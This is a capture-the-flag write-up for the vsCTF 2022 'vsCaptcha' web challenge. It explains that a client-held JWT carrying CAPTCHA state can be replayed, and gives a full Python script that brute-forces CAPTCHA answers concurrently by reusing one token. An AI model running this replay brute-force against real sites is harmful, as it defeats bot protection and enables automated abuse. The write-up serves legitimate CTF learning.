vsCaptcha
07/10/2022
By: smashmaster
Tags: web VSCTF-2022Problem Description:
vsCAPTCHA: the ultimate solution to protect your site from 100% of bots, guaranteed!
Hints:
Reveal Hints
Replay mod is a cool thing.Unlike standard applications the header x-captcha-state
is used to hold a jwt of the current CAPTCHA state. Now, the website kind of screws up and makes the user keep the state. How can we abuse this?
Notice the captcha generation only has a range of a 9 numbers (random number from 0 to 2 plus 0 to 7). The app relies too much on the client to reset the captcha. It doesn’t invalidate the JWT itself so within our limited time period we can make other guesses reusing the same JWT. Here’s a flowchart of the attack
# poggers
# dependencies: aiohttp and pyjwt (because I was too lazy to write jwt decoder from scratch python base64 complained about padding)
import subprocess
def display_image(path):
# we love eye of gnome! replace as needed tho
subprocess.call(['eog', path])
import base64
import jwt
def decode_jwt(token):
#print("JWT",jwt)
#return base64.b64decode(token.split(".")[1]).decode('utf-8')
# I gave up on the above
if token is None:
return None
try:
return jwt.decode(token, options={"verify_signature": False, "verify_exp": False})
except Exception as ex:
return jwt.decode(token.encode(), options={"verify_signature": False, "verify_exp": False})
import aiohttp
import asyncio
import time
# GLOBAL!
ourJWT = ""
async def get_captcha(solution = None, download = False, verbose = False, session = None):
global ourJWT # smh idk how python scope works
datastr = "{}"
if solution:
datastr = "{\"solution\":%d}" % solution # Solution is int
headers = {
'authority': 'vscaptcha-twekqonvua-uc.a.run.app',
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9',
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",# "Hacker/2022.0 Edition"
"origin": "https://vscaptcha-twekqonvua-uc.a.run.app",
"referer": "https://vscaptcha-twekqonvua-uc.a.run.app",
"host": "vscaptcha-twekqonvua-uc.a.run.app",
'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Linux"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
"x-captcha-state": ourJWT or ""
}
if not ourJWT:
del headers["x-captcha-state"]
#if len(ourJWT) > 0:
# # print("...", end = "")
# headers["x-captcha-state"] = ourJWT
while True:
# for burp: ,ssl = False, proxy="http://127.0.0.1:8133"
async with session.post('https://vscaptcha-twekqonvua-uc.a.run.app/captcha',data = datastr, headers = headers ) as response:
if verbose:
print("Requested Captcha with data",datastr,"answered back with code", response.status, await response.read())
if response.status != 401 and response.status != 200 and response.status != 400:
print("Unknown Status:",response.status,"retrying!","datastr",datastr)
time.sleep(0.1)
continue
if download:
print("Writing CAPTCHA to File")
f = open("image.png","wb")
f.write(await response.read())
f.close()
# print(ourJWT)
if not response.headers.get("x-captcha-state"):
print("No JWT! ", await response.read(), " status ", response.status)
return response.headers.get("x-captcha-state")
RANGE = 25
LOOP = 5 # all at once lmao
import pprint
def gen(iSol):
out = [iSol]
for i in range(1, RANGE + 1, 1):
out.append(iSol + i)
out.append(iSol - i)
return out
async def brute_captcha(initialSolution, session = None):
global ourJWT
fromInt = initialSolution - RANGE
toInt = initialSolution + RANGE
lastSolution = initialSolution
while True:
attempts = []
results = []
#old = range(fromInt, toInt + 1,1)
for i in gen(initialSolution):
attempts.append(get_captcha(i, verbose = False, session = session))
if i % LOOP == 0:
results = results + await asyncio.gather(*attempts)
attempts = []
if any(token and not decode_jwt(token)["failed"] for token in filter(lambda x: isinstance(x, str), results)):
break # early end
results = results + (await asyncio.gather(*attempts)) # jwt string list
print() # end ... spam
# print(results)
results = list(filter(lambda x: isinstance(x, str), results))
outcomes = [decode_jwt(token) for token in results] # decoded
bestAdvancement = -1
for pair in zip(results,outcomes):
print(pair[1]["numCaptchasSolved"]," solved ",pair[0][-50:-10])
if pair[1]["numCaptchasSolved"] > bestAdvancement:
bestAdvancement = pair[1]["numCaptchasSolved"]
ourJWT = pair[0]
pprint.pprint(list(zip(results,outcomes)))
print("Best Advancement:",bestAdvancement,"JWT",ourJWT)
bestData = decode_jwt(ourJWT)
if "flag" in bestData:
print("Flag:",bestData["flag"])
break
async def main():
global ourJWT
async with aiohttp.ClientSession() as session:
# Initial Captcha
print("Initial Captcha Solving...")
print("Please enter answer for this")
ourJWT = await get_captcha(download = True, session = session)
print("Initial JWT Contents", decode_jwt(ourJWT))
startTime = time.time()
display_image("image.png")
ans = int(input("Number Please > "))
print("That took %.2f seconds" % (time.time() - startTime))
print("Verifying your CAPTCHA is correct")
otherJWT = await get_captcha(ans,verbose = True,session = session)
decodedOther = decode_jwt(otherJWT)
print(decodedOther)
if decodedOther and decodedOther["numCaptchasSolved"]:
print("CAPTCHA is correct!!! Proceeding to brute force...")
ourJWT = otherJWT # less likely to expire
else:
print("Oof that was wrong")
print("Debug Data")
print("Raw JWT: ",ourJWT)
print("Raw JWT used for testing: ",otherJWT)
print("Decoded JWT: ",decodedOther)
return
await brute_captcha(ans,session = session)
asyncio.run(main())
Unfortunately this has a dependency on the gnome image viewer it pops up at the start to show you the image. Make sure to point at some other image viewer that takes the image to be viewed as a command line argument if you are considering using this. Make sure to close your imageviewer after you get your captcha answer due to how this is designed. Based off testing, this almost never works first try.